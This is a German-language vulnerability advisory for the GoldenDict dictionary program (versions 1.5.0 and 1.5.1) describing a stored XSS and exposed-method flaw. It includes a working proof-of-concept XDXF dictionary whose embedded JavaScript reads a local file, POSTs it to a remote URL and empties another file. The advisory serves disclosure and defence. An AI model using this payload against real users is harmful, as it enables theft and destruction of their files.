
CVSS v3: (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L) - 9.6/10
GoldenDict 1.5.0 und 1.5.1 weist eine exponierte gefährliche Methode auf, die das Lesen und Ändern von Dateien ermöglicht, wenn ein Benutzer ein manipuliertes Wörterbuch hinzufügt und anschließend nach einem beliebigen in diesem Wörterbuch enthaltenen Begriff sucht.
Das Produkt stellt eine Schnittstelle für die Interaktion mit externen Akteuren bereit, die eine gefährliche Methode in GoldenDict (Version 1.5.0, 1.5.1) enthält, die nicht ordnungsgemäß eingeschränkt ist. Dies ermöglicht es einem entfernten Angreifer, Zugriff zum Lesen und Ändern von Dateien im Benutzerdateisystem zu erhalten, wenn ein vorbereitetes bösartiges Wörterbuch hinzugefügt und im Programm verwendet wird.
CWE-749: Exponierte gefährliche Methode oder Funktion; CWE-79: Nicht ordnungsgemäße Neutralisierung von Eingaben bei der Erzeugung von Webseiten ('Cross-site Scripting')
GoldenDict Project
GoldenDict - 1.5.0, 1.5.1
GoldenDict-ausführbare Datei, Quellcodedatei xdxf.cc, Quellcodedatei xdxf2html.cc, Quellcodedatei stardict.cc.
Remote
true
true
Zugriff zum Lesen und Ändern von Dateien im Benutzerdateisystem
Um die Schwachstelle auszunutzen, muss ein Benutzer dem Programm ein bösartiges Wörterbuch hinzufügen und nach einem beliebigen in diesem Wörterbuch enthaltenen Begriff suchen.
Grebennikov Timofey, ein Spezialist in der Penetrationstest-Gruppe der Sicherheitskontrollabteilung der Entwicklung der Astra Group.
https://github.com/goldendict/goldendict/releases
GoldenDict ist ein grafisches Programm zum Suchen von Begriffen in Wikipedia und lokal installierten Wörterbüchern. Es werden verschiedene Wörterbuchformate unterstützt, einschließlich des XDXF-Formats mit XML-Markup. Wörterbücher werden von anderen Benutzern im Internet verbreitet.
Das Programm verwendet eine Browser-Engine, die im Paket der Qt-Widgets-Komponenten enthalten ist, um Wörter aus Wörterbüchern zu rendern und anzuzeigen.
Es wurden mehrere Sicherheitsverstöße gleichzeitig entdeckt, die die Umsetzung einer kritischen Schwachstelle ermöglichen:
Zusammen führen diese Verstöße zu der Möglichkeit, Zugriff auf Benutzerdateien zu erlangen, indem bösartiger JS-Code in das XML-Markup eines aus dem Internet heruntergeladenen XDXF-Wörterbuchs eingebettet wird.
Um eine Schwachstelle unter Windows zu testen, können Sie ein Skript ausführen, das auf zwei vorbereitete Dateien im Dateisystem einwirkt.
<?xml version="1.0" encoding="UTF-8"?>
<xdxf lang_from="ENG" lang_to="RUS" format="logical">
<full_name>Malicious dictionary</full_name>
<description>You have been pwned!</description>
<meta_info>
<copyright>Public Domain</copyright>
</meta_info>
<lexicon>
<ar>
<k>vuln_test</k>
<def>
Some description...
<script>
var secretFile = 'file:///C:/Users/Public/Documents/secret.txt';
var ideaFile = 'file:///C:/Users/Public/Documents/idea.txt';
var xhr = new XMLHttpRequest();
xhr.open('GET', secretFile, true);
xhr.onload = function() {
var secretData = xhr.responseText;
if (secretData.length > 0) {
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', '[Target-URL]', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('data=' + encodeURIComponent(secretData));
}
};
xhr.onerror = function() {
};
xhr.send();
var xhr3 = new XMLHttpRequest();
xhr3.open('PUT', ideaFile, true);
xhr3.setRequestHeader('Content-Type', 'text/plain');
xhr3.send("");
</script>
</def>
</ar>
</lexicon>
</xdxf>
Bei der Initialisierung sendet dieses Wörterbuch den Inhalt von secret.txt an den entfernten Server und leert idea.txt.
Verifizieren Sie den Erfolg des Angriffs – der Empfänger erhält eine Nachricht, die den Inhalt der Datei secret.txt enthält, und die Datei idea.txt wird leer sein.
Die Schwachstelle betrifft sowohl Windows- als auch Linux-Systeme. Um die Schwachstelle auf einem Linux-System zu reproduzieren, ist es notwendig, andere Verzeichnisse zum Speichern der Testdateien zu verwenden und dies im bösartigen Code anzugeben.